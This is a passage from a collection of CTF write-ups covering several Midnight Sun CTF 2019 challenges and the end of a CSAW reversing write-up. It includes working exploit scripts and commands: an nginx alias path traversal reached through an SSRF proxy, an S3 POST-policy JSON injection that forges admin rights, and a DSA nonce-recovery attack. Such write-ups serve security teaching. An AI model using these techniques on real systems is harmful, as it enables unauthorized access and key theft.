missed that the last to bits of the user input is stored and appended to the output (highbit in the python code). This way even numbers are possible. Without this mechanism those numbers wouldn’t be unique, as seen in this example: 87 | ``` 88 | >>> hex(pow(5,0x3333333312345678,2**64)) 89 | '0xab0057c4f85cb421L' 90 | >>> hex(pow(5,0x7333333312345678,2**64)) 91 | '0xab0057c4f85cb421L'` 92 | ``` 93 | But the algorithm of the 1337.exe handles the first case as `0xab0057c4f85cb420`. Using this knowledge, we could simply add a `1` to the static input buffer, solve the discrete log problem and discard the MSB of the result, yielding the searched input. 94 | 95 | ![](flag.png) 96 | 97 | There were various other obfuscation strategies used in this binary. Parts of functions were just NOPs for 200 instructions, other functions called the very same function multiple times in a normal control flow. And the static comparison buffer was depended on the user input length! That means if you just tested with a 9 character input you got a slightly different comparison buffer than with a 17-character input. The real comparison buffer was only decrypted when the user provided a 24-character input. 98 | Furthermore, the `LoadStringA` function (which was used for the string decryption) returned a proper buffer only if the string was loaded in cp1255 encoding. This hint was released later on. 99 | 100 | 101 | 102 | 103 | -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2018/csaw 2018 quals/1337/call.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/calleax.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2018/csaw 2018 quals/1337/calleax.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/consoleread.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2018/csaw 2018 quals/1337/consoleread.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/ebxtrace.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2018/csaw 2018 quals/1337/ebxtrace.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2018/csaw 2018 quals/1337/flag.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/goodflag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2018/csaw 2018 quals/1337/goodflag.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/match.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2018/csaw 2018 quals/1337/match.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/memcmp1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2018/csaw 2018 quals/1337/memcmp1.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/memcmp2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2018/csaw 2018 quals/1337/memcmp2.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/obfuscation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2018/csaw 2018 quals/1337/obfuscation.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/pseudocodehash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2018/csaw 2018 quals/1337/pseudocodehash.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/return.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2018/csaw 2018 quals/1337/return.png -------------------------------------------------------------------------------- /2019/midnightsunctf/bigspin/bigspin.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: ["web", "traversal", "nginx", "ssrf", "prox"] 3 | author: "bennofs" 4 | --- 5 | # Challenge 6 | > This app got hacked due to admin and uberadmin directories being open. Was just about to wget -r it, but then they fixed it :( Can you help me get the files again? 7 | 8 | When visiting the site, it just displays a simple sentence: 9 | 10 | > What's it gonna be? Are you an uberadmin, an admin, a user, or (most likely) just a pleb? 11 | 12 | where uberadmin, admin, user and pleb are links: 13 | 14 | - `/uberadmin` gives 403 (nginx) 15 | - `/admin` is 404 (nginx) 16 | - `/user` is also 403 (nginx) 17 | - `/pleb` displays the contents of https://example.org 18 | 19 | # Solution 20 | 21 | After playing around a little bit, we discover that all paths beginning with `/uberadmin` or `/user` are disallowed. Interestingly, `/userSOME_SUFFIX` is also blocked. This suggests that the nginx config uses `location` without trailing slash, so https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md may be applicable. 22 | Also, `http://bigspin-01.play.midnightsunctf.se:3123/plebSOME_SUFFIX` results in `502 Bad Gateway` so the server is likely using `example.org` as upstream and just proxies `/pleb` there. 23 | 24 | A quick test with `http://bigspin-01.play.midnightsunctf.se:3123/pleb.mydomain.com` confirms this theory, as DNS requests to `example.com.mydomain.com` show up in logs. We can list the contents of the user directory with [localtest.me](https://readme.localtest.me): http://bigspin-01.play.midnightsunctf.se:3123/pleb.localtest.me/user/. This reveals that `/user/nginx.cönf` exists, which can be obtained via double URL encoding (due to the proxying): 25 | 26 | ```nginx 27 | $ curl 'http://bigspin-01.play.midnightsunctf.se:3123/pleb.localtest.me/user/nginx.c%25C3%25B6nf%2520' 28 | worker_processes 1; 29 | user nobody nobody; 30 | error_log /dev/stdout; 31 | pid /tmp/nginx.pid; 32 | events { 33 | worker_connections 1024; 34 | } 35 | 36 | http { 37 | 38 | # Set an array of temp and cache files options that otherwise defaults to 39 | # restricted locations accessible only to root. 40 | 41 | client_body_temp_path /tmp/client_body; 42 | fastcgi_temp_path /tmp/fastcgi_temp; 43 | proxy_temp_path /tmp/proxy_temp; 44 | scgi_temp_path /tmp/scgi_temp; 45 | uwsgi_temp_path /tmp/uwsgi_temp; 46 | resolver 8.8.8.8 ipv6=off; 47 | 48 | server { 49 | listen 80; 50 | 51 | location / { 52 | root /var/www/html/public; 53 | try_files $uri $uri/index.html $uri/ =404; 54 | } 55 | 56 | location /user { 57 | allow 127.0.0.1; 58 | deny all; 59 | autoindex on; 60 | root /var/www/html/; 61 | } 62 | 63 | location /admin { 64 | internal; 65 | autoindex on; 66 | alias /var/www/html/admin/; 67 | } 68 | 69 | location /uberadmin { 70 | allow 0.13.3.7; 71 | deny all; 72 | autoindex on; 73 | alias /var/www/html/uberadmin/; 74 | } 75 | 76 | location ~ /pleb([/a-zA-Z0-9.:%]+) { 77 | proxy_pass http://example.com$1; 78 | } 79 | 80 | access_log /dev/stdout; 81 | error_log /dev/stdout; 82 | } 83 | 84 | } 85 | ``` 86 | We now see that `/admin` is marked as `internal`. Quoting the [nginx docs](http://nginx.org/en/docs/http/ngx_http_core_module.html#internal): 87 | 88 | > Specifies that a given location can only be used for internal requests. For external requests, the client error 404 (Not Found) is returned. Internal requests are the following: 89 | > 90 | > - requests redirected by the error_page, index, random_index, and try_files directives; 91 | > - requests **redirected by the “X-Accel-Redirect”** response header field from an upstream server; 92 | > - subrequests formed by the “include virtual” command of the ngx_http_ssi_module module, by the ngx_http_addition_module module directives, and by auth_request and mirror directives; 93 | > - requests changed by the rewrite directive. 94 | 95 | To access that, we write a trivial python server that sets `X-Accel-Redirect`: 96 | 97 | ```python 98 | import os 99 | from flask import Flask,redirect,make_response 100 | 101 | app = Flask(__name__) 102 | 103 | @app.route('/') 104 | def hello(rest): 105 | r = make_response() 106 | print(rest) 107 | r.headers.set("X-Accel-Redirect", '/' + rest) 108 | return r 109 | 110 | if __name__ == '__main__': 111 | # Bind to PORT if defined, otherwise default to 5000. 112 | port = int(os.environ.get('PORT', 80)) 113 | app.run(host='0.0.0.0', port=port) 114 | ``` 115 | 116 | So we access admin, and then use nginx path traversal (this time possible because the `/admin` location uses `alias` instead of `root`) to read the flag from uberadmin: 117 | 118 | ``` 119 | $ curl http://bigspin-01.play.midnightsunctf.se:3123/pleb.ctfip.ddnss.ch/admin/flag.txt 120 | hmmm, should admins really get flags? seems like an uberadmin thing to me 121 | 122 | $ curl http://bigspin-01.play.midnightsunctf.se:3123/pleb.ctfip.ddnss.ch/admin../uberadmin/flag.txt 123 | midnight{y0u_sp1n_m3_r1ght_r0und_b@by} 124 | ``` 125 | 126 | 127 | # References 128 | 129 | - https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf mentions this and lots of other interesting path issues as well 130 | -------------------------------------------------------------------------------- /2019/midnightsunctf/cloudb/cloudb.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: ["web"] 3 | author: "LinHe" 4 | --- 5 | # Challenge 6 | > These guys made a DB in the cloud. Hope it's not a rain cloud... 7 | > Service: [http://cloudb-01.play.midnightsunctf.se](http://cloudb-01.play.midnightsunctf.se) 8 | 9 | When visiting the website, we can click on "Demo" to create a new account. There is also an admin login. 10 | We first checked if we could perform SQL injections, but that didn't work. 11 | 12 | # Solution 13 | When creating a new account, a request is made to `http://cloudb-01.play.midnightsunctf.se/userinfo//info.json`. 14 | The result is a JSON file, containing the intersting key `admin` which is set to `false`. 15 | Obviously, the goal is to change this to `true`. 16 | 17 | # Becoming admin 18 | After creating an account (or logging in), we are given the option to edit our account. The interesting part here is that we can upload a new profile picture. 19 | When uploading the picture, a request is made to `http://cloudb-01.play.midnightsunctf.se/signature` with to parameters: acl and hmac. 20 | The response is an Amazon S3 POST policy and a signature. The policy and signature are then used to upload the picture to an S3 bucket. 21 | The policy looks like this: 22 | ```JavaScript 23 | { 24 | 'expiration': '2019-04-08T17:06:05.000Z', 25 | 'conditions': [ 26 | ['content-length-range', 1, 10000], 27 | {'bucket': 'cloudb-profilepics'}, 28 | {'acl': 'public-read'}, 29 | ['starts-with', '$key', 'profilepics/'] 30 | ] 31 | } 32 | ``` 33 | 34 | It looks like the acl parameter is directly inserted into the JSON. 35 | When changing the acl parameter, the hmac becomes invalid so we needed to find out how to create our own hmac's. 36 | We found the relevant code in the website's JavaScript: 37 | ```JavaScript 38 | app = { 39 | hmac: function(b, e) { 40 | return CryptoJS.HmacSHA256(b+e, this.secret+"").toString(CryptoJS.enc.Hex) 41 | }, 42 | secret: {secret: "cl0udb_Pr0d_Do_NOT_d1sclose"}, 43 | // ... 44 | } 45 | ``` 46 | To create the correct hmac for our acl, we had to call app.hmac(acl_data, ""). 47 | When implementing this in Python, I first only got wrong hmacs. 48 | This is because I used `cl0udb_Pr0d_Do_NOT_d1sclose` as key. 49 | However, after looking at the JavaScript code again, I noticed that they use `app.secret+""` as the key. 50 | Because of the way how JavaScript works, this results in `[object Object]` being the key... 51 | 52 | Now that we were able to create correct hmacs, we tried to change acl to `'}`, which resulted in the JSON looking like this: 53 | ```JavaScript 54 | { 55 | 'expiration': '2019-04-08T17:06:05.000Z', 56 | 'conditions': [ 57 | ['content-length-range', 1, 10000], 58 | {'bucket': ''}'}, 59 | {'acl': 'public-read'}, 60 | ['starts-with', '$key', 'profilepics/'] 61 | ] 62 | } 63 | ``` 64 | We now knew that the acl parameter is directly inserted into the JSON without any checks. 65 | The Plan now was to change the conditions so that we could write anywhere on the bucket, not just to profilepics. 66 | This wasn't easy as we needed to get rid of the `starts-with` condition and Amazon only allowed the keys `expiration` and `conditions` and creating a second `conditions` key would cause Amazon to ignore the first one. 67 | After some time we found out that if there were two keys, one named `conditions` and the other one named `Conditions` (notice the capital 'C'), Amazon would ignore the `Conditions` key and only use the `conditions` key. 68 | We tried to upload our updated user JSON file to `userinfo//info.json`, then went to the admin page, logged in and ... we still got `You are not admin!` Something obviously didn't work. 69 | After downloading our info.json from `http://cloudb-01.play.midnightsunctf.se/userinfo//info.json`, we noticed that it still had admin set to `false`. 70 | We then created a new account and then tried to download it's info.json directly from the S3 bucket. However, it wasn't there. 71 | Then we noticed that the name of the bucket was `cloudb-profilepics`. After a few tries we found out that there is another bucket named `cloudb-users` which had a users directory. We found out that the `info.json` for each user was stored in `users//info.json`. 72 | We now had to change the JSON policy to allow us to write into the `cloudb-users` bucket. To do this, we used `public-read-write'}],'conditions': [['starts-with', '$bucket', ''],['starts-with', '$key', ''],{'acl': 'public-read-write'}],'Conditions': [{'acl': 'public-read-write` as acl, resulting in the following policy: 73 | ```JavaScript 74 | { 75 | 'expiration': '2019-04-08T17:45:19.000Z', 76 | 'conditions': [ 77 | ['content-length-range', 1, 10000], 78 | {'bucket': 'cloudb-profilepics'}, 79 | {'acl': 'public-read-write'} 80 | ], 81 | 'conditions': [ 82 | ['starts-with', '$bucket', ''], 83 | ['starts-with', '$key', ''], 84 | {'acl': 'public-read-write'} 85 | ], 86 | 'Conditions': [ 87 | {'acl': 'public-read-write'}, 88 | ['starts-with', '$key', 'profilepics/'] 89 | ] 90 | } 91 | ``` 92 | Amzon would use the second `conditions` key which allows us to write to any file in any bucket that the signer has access to. 93 | Additionally, the `Conditions` key would be ignored. 94 | This allowed us to upload a new info.json with `admin` set to `true`. 95 | After logging in as admin, we got the flag: `midnight{n3x7_t1m3_w3ll_d0_1t_Cl0udl3sslY}` 96 | 97 | See exploit.py for the full exploit. 98 | -------------------------------------------------------------------------------- /2019/midnightsunctf/cloudb/exploit.py: -------------------------------------------------------------------------------- 1 | import hmac 2 | import hashlib 3 | import requests 4 | import urllib 5 | import json 6 | 7 | email = "somerandomemail@yourprovider.abcde" 8 | password = "supersecretpassword!!!" 9 | 10 | # Used to create the password 11 | def createHMAC(email, password): 12 | return hmac.new("[object Object]", email+password, digestmod=hashlib.sha256).hexdigest() 13 | 14 | # Create hmac, then download the policy 15 | def getSignedJSON(d): 16 | digest = hmac.new("[object Object]", d, digestmod=hashlib.sha256).hexdigest() 17 | enc = urllib.urlencode({'acl': d, 'hmac': digest}) 18 | return requests.get("http://cloudb-01.play.midnightsunctf.se/signature?"+enc).text.split(":") 19 | 20 | # Get the signed JSON policy, which allows us to write anywhere into every bucket the signer has access to 21 | data = getSignedJSON("public-read-write'}],'conditions': [['starts-with', '$bucket', ''],['starts-with', '$key', ''],{'acl': 'public-read-write'}],'Conditions': [{'acl': 'public-read-write") 22 | 23 | # Upload our new user JSON with admin set to `true` 24 | r = requests.post("https://cloudb-users.s3.amazonaws.com/", data={"acl": "public-read-write", "AWSAccessKeyId": "AKIAJQSA73ND6ITM5ETQ", "Policy": data[0], "Signature": data[1], 'key': "users/%s/info.json"%email}, files={"file": json.dumps({"admin": True, "hmac": createHMAC(email, password), "name": "SomeNameHere", "email": email})}) 25 | assert r.status_code == 204 26 | 27 | # Log in as admin and get the flag 28 | print "Flag:", requests.post("http://cloudb-01.play.midnightsunctf.se/admin", data={"email": email, "password": password, "hmac": createHMAC(email, password+"adminlogin")}).text 29 | 30 | # Set admin to `false` again 31 | r = requests.post("https://cloudb-users.s3.amazonaws.com/", data={"acl": "public-read-write", "AWSAccessKeyId": "AKIAJQSA73ND6ITM5ETQ", "Policy": data[0], "Signature": data[1], 'key': "users/%s/info.json"%email}, files={"file": json.dumps({"admin": False, "hmac": createHMAC(email, password), "name": "SomeNameHere", "email": email})}) 32 | assert r.status_code == 204 33 | -------------------------------------------------------------------------------- /2019/midnightsunctf/dr-evil/dr-evil.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: ["misc"] 3 | author: "CherryWorm" 4 | --- 5 | # Challenge 6 | We have managed to intercept communications from Dr. Evil's base but it seems to be encrypted. Can you recover the secret message. 7 | 8 | # Solution 9 | After activating TCP checksum validation in wireshark, we noticed that approximately half of all TCP packets have a broken checksum. Coincidentally, every packet with a faulty checksum had the reserved bit set. The reserved bit is sometimes called the "evil" bit, since it there is no reason for it to be set, and some servers straight up drop a connection if it is. 10 | 11 | The following script extracts all evil bits from the packets the server sent and concatenates them: 12 | 13 | ```python 14 | from scapy.all import * 15 | import binascii 16 | 17 | pcap = rdpcap('dr-evil.pcap') 18 | res = [] 19 | 20 | for packet in pcap: 21 | if IP in packet and packet[IP].src == '52.15.194.28': 22 | res.append(packet[IP].flags == 'evil') 23 | 24 | # print boolean array as ascii (extra 0 because the string did not have even length) 25 | print(binascii.unhexlify('%x0' % int(''.join(map(lambda b: '1' if b else '0', res)), 2)).decode()) 26 | ``` 27 | 28 | This prints the string 29 | ``` 30 | Ladies and gentlemen, welcome to my underground lair. I have gathered here before me the world's deadliest assassins. And yet, each of you has failed to kill Austin Powers and submit the flag "midnight{1_Milli0n_evil_b1tz!}". That makes me angry. And when Dr. Evil gets angry, Mr. Bigglesworth gets upset. And when Mr. Bigglesworth gets upset, people DIE!! 31 | ``` 32 | which contains the flag `midnight{1_Milli0n_evil_b1tz!}`. -------------------------------------------------------------------------------- /2019/midnightsunctf/dr-evil/exploit.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import binascii 3 | 4 | pcap = rdpcap('dr-evil.pcap') 5 | res = [] 6 | 7 | for packet in pcap: 8 | if IP in packet and packet[IP].src == '52.15.194.28': 9 | res.append(packet[IP].flags == 'evil') 10 | 11 | # print boolean array as ascii (extra 0 because the string did not have even length) 12 | print(binascii.unhexlify('%x0' % int(''.join(map(lambda b: '1' if b else '0', res)), 2)).decode()) 13 | -------------------------------------------------------------------------------- /2019/midnightsunctf/ezdsa/ezdsa.md: -------------------------------------------------------------------------------- 1 | # EZDSA 2 | - Tags: crypto 3 | - Points: 223 4 | - Solves: 57 5 | 6 | ## Challenge 7 | >Someone told me not to use DSA, so I came up with this. 8 | 9 | We get a server IP and part of the python code which runs on it. 10 | 11 | Connecting to the server we see: 12 | ``` 13 | Welcome to Spooners' EZDSA 14 | Options: 15 | 1. Sign protocol 16 | 2. Quit 17 | 1 18 | Enter data: 19 | asdf 20 | (566787836513318161631424115768553230152020123938L, 150528027594773609234378622493646221096430839490L) 21 | Options: 22 | 1. Sign protocol 23 | 2. Quit 24 | 2 25 | KBye. 26 | Quitting... 27 | ``` 28 | Code: 29 | ```python 30 | from hashlib import sha1 31 | from Crypto import Random 32 | from flag import FLAG 33 | 34 | 35 | class PrivateSigningKey: 36 | 37 | def __init__(self): 38 | self.gen = 0x44120dc98545c6d3d81bfc7898983e7b7f6ac8e08d3943af0be7f5d52264abb3775a905e003151ed0631376165b65c8ef72d0b6880da7e4b5e7b833377bb50fde65846426a5bfdc182673b6b2504ebfe0d6bca36338b3a3be334689c1afb17869baeb2b0380351b61555df31f0cda3445bba4023be72a494588d640a9da7bd16L 39 | self.q = 0x926c99d24bd4d5b47adb75bd9933de8be5932f4bL 40 | self.p = 0x80000000000001cda6f403d8a752a4e7976173ebfcd2acf69a29f4bada1ca3178b56131c2c1f00cf7875a2e7c497b10fea66b26436e40b7b73952081319e26603810a558f871d6d256fddbec5933b77fa7d1d0d75267dcae1f24ea7cc57b3a30f8ea09310772440f016c13e08b56b1196a687d6a5e5de864068f3fd936a361c5L 41 | self.key = int(FLAG.encode("hex"), 16) 42 | 43 | def sign(self, m): 44 | 45 | def bytes_to_long(b): 46 | return long(b.encode("hex"), 16) 47 | 48 | h = bytes_to_long(sha1(m).digest()) 49 | u = bytes_to_long(Random.new().read(20)) 50 | assert(bytes_to_long(m) % (self.q - 1) != 0) 51 | 52 | k = pow(self.gen, u * bytes_to_long(m), self.q) 53 | r = pow(self.gen, k, self.p) % self.q 54 | s = pow(k, self.q - 2, self.q) * (h + self.key * r) % self.q 55 | assert(s != 0) 56 | 57 | return r, s 58 | ``` 59 | 60 | ## Solution 61 | 62 | Already hinted at by the challenge name, the used algorithm is very similar to [DSA](https://en.wikipedia.org/wiki/Digital_Signature_Algorithm). The only 'difference' is the generation of the supposedly random number `k`. The calculation of `s` is a tiny bit obfuscated, but using fermats little theorem we can see that it is the normal DSA calculation: 63 | ``` 64 | pow(k, self.q - 2, self.q) == k ^ -1 mod q 65 | ``` 66 | 67 | 68 | The secret-key is the wanted flag. 69 | 70 | DSA is only secure if k is actually random. If we know what it is, we can compute the key given just a signature and plaintext/hash. Now what do we know about `k`? It gets 'seeded' by 20 random bytes `u`. But on these bytes, a computation is made: 71 | ``` 72 | k = pow(self.gen, u * bytes_to_long(m), self.q) 73 | which is essentially 74 | k = gen^(u*m) mod q, where gen is a generator of the mod-q field and u the 20 random bytes 75 | ``` 76 | Using fermats little theorem again, we know that 77 | ``` 78 | gen^(p-1) mod p === 1 79 | and thus also 80 | gen^(u*(p-1)) mod p === 1 81 | ``` 82 | If we could force `m` to be a multiple of `q-1`, which is trivial since we control the input, k is known to be 1! 83 | 84 | Unfortunately, the challenge tries to blocks us by checking this explicitly: 85 | ``` 86 | assert(bytes_to_long(m) % (self.q - 1) != 0) 87 | ``` 88 | But this is entirely unsuccessful, since we can just pick `m=(p-1)/2`. Assuming `u` is even, which is often the case, we again have a multiple of `p-1` in the exponent, and thus `k=1`. Now we only need to break DSA with known k. 89 | 90 | A bit of algebra on the DSA computations assuming k=1 gives us 91 | ``` 92 | k = 1 93 | r = g^k mod q = g mod q 94 | s = k^-1 * (h+r*key) mod q 95 | s = 1 * (h+g*key) mod q 96 | key = (s-h) * gen^-1 mod q 97 | ``` 98 | 99 | When trying to send the message to the server, we noticed that the server decodes the input as base64, which makes the attack easier since we don't have to worry about null bytes or newlines in the message. 100 | 101 | Exploit Script: 102 | ```python 103 | from pwn import * 104 | from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse 105 | from hashlib import sha1 106 | 107 | gen = 0x44120dc98545c6d3d81bfc7898983e7b7f6ac8e08d3943af0be7f5d52264abb3775a905e003151ed0631376165b65c8ef72d0b6880da7e4b5e7b833377bb50fde65846426a5bfdc182673b6b2504ebfe0d6bca36338b3a3be334689c1afb17869baeb2b0380351b61555df31f0cda3445bba4023be72a494588d640a9da7bd16L 108 | q = 0x926c99d24bd4d5b47adb75bd9933de8be5932f4bL 109 | p = 0x80000000000001cda6f403d8a752a4e7976173ebfcd2acf69a29f4bada1ca3178b56131c2c1f00cf7875a2e7c497b10fea66b26436e40b7b73952081319e26603810a558f871d6d256fddbec5933b77fa7d1d0d75267dcae1f24ea7cc57b3a30f8ea09310772440f016c13e08b56b1196a687d6a5e5de864068f3fd936a361c5L 110 | 111 | m_int = (q-1)/2 112 | m = long_to_bytes(m_int) 113 | h = bytes_to_long(sha1(m).digest()) 114 | 115 | # let the server sign our crafted message 116 | with remote('ezdsa-01.play.midnightsunctf.se', 31337) as r: 117 | r.sendafter("Options:", "1\n") 118 | r.sendafter("data:", m.encode('base64')+"\n") 119 | data = r.recvline_contains(("(")) 120 | 121 | r,s = [int(x[:-1]) for x in data.strip()[1:-1].split(",")] 122 | key = (s-h) * inverse(gen, q) % q 123 | 124 | print long_to_bytes(key) 125 | ``` 126 | Which gives us the flag as 127 | ``` 128 | th4t_w4s_e4sy_eh? 129 | ``` -------------------------------------------------------------------------------- /2019/midnightsunctf/hfs-vm/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | # mov reg, value 4 | def op_move_imm(dst, val): 5 | return p32((val << 16) | (dst << 5) | 0x2000 | 0x0) 6 | 7 | # mov regA, regB 8 | def op_move(dst, src): 9 | return p32((src << 16) | (dst << 5) | 0x0) 10 | 11 | # add regA, value 12 | def op_add_imm(dst, val): 13 | return p32((val << 16) | (dst << 5) | 0x2000 | 0x1) 14 | 15 | # add regA, regB 16 | def op_add(dst, src): 17 | return p32((src << 16) | (dst << 5) | 0x1) 18 | 19 | # sub regA, value 20 | def op_sub_imm(dst, val): 21 | return p32((val << 16) | (dst << 5) | 0x2000 | 0x2) 22 | 23 | # sub regA, regB 24 | def op_sub(dst, src): 25 | return p32((src << 16) | (dst << 5) | 0x2) 26 | 27 | # xchg regA, regB 28 | def op_xchg(dst, src): 29 | return p32((src << 9) | (dst << 5) | 0x3) 30 | 31 | # xor regA, value 32 | def op_xor_imm(dst, val): 33 | return p32((val << 16) | (dst << 5) | 0x2000 | 0x4) 34 | 35 | # xor regA, regB 36 | def op_xor(dst, src): 37 | return p32((src << 16) | (dst << 5) | 0x4) 38 | 39 | # push value 40 | def op_push_imm(val): 41 | return p32((val << 16) | 0x2000 | 0x5) 42 | 43 | # push regA 44 | def op_push(reg): 45 | return p32((reg << 5) | 0x5) 46 | 47 | # pop regA 48 | def op_pop(reg): 49 | return p32((reg << 5) | 0x6) 50 | 51 | # Missing: Stack set relative (can be used to get RCE) 52 | # Stack get relative (can be used to leak pointers) 53 | # No bounds checking for both 54 | 55 | # syscall number 56 | def op_syscall(num): 57 | return op_move_imm(1, num) + p32(9) 58 | 59 | # Show all registers + stack 60 | def op_showregs(): 61 | return p32(0xA) 62 | 63 | # Reserve some space on the stack, syscall 3 (get flag), syscall 1 (print stack), reset stack 64 | def get_flag(): 65 | return op_sub_imm(14, 0xB) + op_syscall(3) + op_syscall(1) + op_add_imm(14, 0xB) 66 | 67 | bytecode = [ 68 | get_flag() 69 | ] 70 | 71 | bytecode = "".join(bytecode) 72 | 73 | r = remote("hfs-vm-01.play.midnightsunctf.se", 4096) 74 | r.recvuntil("Input byte code length: ") 75 | r.sendline(str(len(bytecode))) 76 | r.recvuntil("Input byte code: ") 77 | r.send(bytecode) 78 | print r.recvall() 79 | -------------------------------------------------------------------------------- /2019/midnightsunctf/hfs-vm/hfs-vm.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: ["re", "hfs-vm I"] 3 | author: "LinHe" 4 | --- 5 | # Challenge 6 | > Write a program in my crappy VM language. 7 | > Service: nc hfs-vm-01.play.midnightsunctf.se 4096 8 | > Download: [hfs-vm.tar.gz](https://s3.eu-north-1.amazonaws.com/dl.2019.midnightsunctf.se/529C928A6B855DC07AEEE66037E5452E255684E06230BB7C06690DA3D6279E4C/hfs-vm.tar.gz) 9 | 10 | As the description of this challenge already implies, we're required to create some Bytecode for a VM to get the flag. The first thing we did was (obviously) to find out how this Bytecode and the VM works by disassembling the provided binary. 11 | 12 | # VM 13 | The VM has 16 registers, with register 14 being the Stack Pointer (SP) and register 15 being the Program Counter (PC). 14 | Each Register is 16 bit (one word) wide. 15 | Additionally, there is a Stack which may contain up to 32 words (64 byte). 16 | The VM consists of two processes: 17 | 18 | 1. The main process which is used for syscalls (see the Bytecode section below). 19 | 2. A secondary process which is executing our bytecode and communicates with the first one. It has seccomp enabled. 20 | 21 | # Bytecode 22 | Each instruction in this Bytecode is exactly 32 bit wide. 23 | Instructions operate on two registers: A source (src) register and a destination (dst) register. 24 | Some instructions also support immediate (imm) values. In this case, the source register is unused and the immediate value is used instead. 25 | There are 11 instructions: 26 | 27 | 0. move: dst = src / dst = imm 28 | 1. add: dst = dst + src / dst = dst + imm 29 | 2. subtract: dst = dst - src / dst = dst - imm 30 | 3. exchange: Exchanges the contents of dst and src 31 | 4. xor: dst = dst ^ src / dst = dst ^ imm 32 | 5. push: Pushes dst or imm on the stack. src is unused. SP is decremented by one. 33 | 6. pop: Pops a value from the stack into dst. src is unused. SP is increased by one. 34 | 7. stack set relative: Writes a value on the stack (src or imm) relative to dst. No bounds checking is performed (would have been useful for hfs-vm2). 35 | 8. stack get relative: Reads a value from the stack relative to src and stores it in dst. No bounds checking is performed as well. 36 | 9. syscall: Performs a syscall. Syscall number must be stored in register 1. See syscalls below. 37 | 10. show registers: Prints the contents of all registers and the stack. 38 | 39 | # Syscalls 40 | There are 5 syscalls: 41 | 42 | 0. Run ls. 43 | 1. Write the contents of the stack to stdout. 44 | 2. Writes the uid or euid to the stack. 45 | 3. Writes the flag to the stack(!). 46 | 4. Writes data from /dev/urandom to the stack. 47 | 48 | # Solution 49 | After looking at the syscalls, the solution was pretty easy: 50 | 51 | 1. Reserve some space for the flag on the stack. 52 | 2. Perform syscall 3 to get the flag. 53 | 3. Perform syscall 1 to print the flag. 54 | 55 | See exploit.py for the full exploit. 56 | The flag is `midnight{m3_h4bl0_vm}`. 57 | -------------------------------------------------------------------------------- /2019/midnightsunctf/hfsdos/hfsdos.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: ["pwn", "dos", "re"] 3 | author: "bennofs" 4 | --- 5 | # Challenge 6 | > You don't need a modern 'secure' language when you write bug-free code :) The flag is in FLAG2 7 | 8 | This was the second part of the HFSMBR/HFSDOS challenge. After entering the correct password for HFSMBR, we are greeted with: 9 | 10 | ``` 11 | [HFS SECURE SHELL] Here is your flag for HFS-MBR: midnight{w0ah_Sh!t_jU5t_g0t_RE 12 | ALmode} 13 | [HFS SECURE SHELL] loaded at 100f:0100 (0x101f0) and ready for some binary carna 14 | ge! 15 | 16 | [HFS-DOS]> 17 | ``` 18 | 19 | # Solution 20 | Looking at the strings of the image, the challenge appears to be based on FreeDOS. So let's mount the image to extract the files from the FS: 21 | 22 | ``` 23 | $ sudo losetup -P -f dos.img 24 | $ sudo mount /dev/loop0p1 /mnt 25 | $ ls /mnt 26 | AUTOEXEC.BAT* COMMAND.COM* FLAG1* FLAG2* KERNEL.SYS* 27 | ``` 28 | 29 | The file we are looking for is COMMAND.COM. This file implements the the command interpreter we saw when we started the challenge. Here's the disassembly of the command-reading loop: 30 | 31 | ``` 32 | seg000:019D read_command: ; CODE XREF: commandLoop↑j 33 | seg000:019D mov bx, offset input_buf 34 | seg000:01A0 mov input_ptr, bx 35 | seg000:01A4 mov input_len, 0 36 | seg000:01AA xor bx, bx 37 | seg000:01AC 38 | seg000:01AC input_loop: ; CODE XREF: 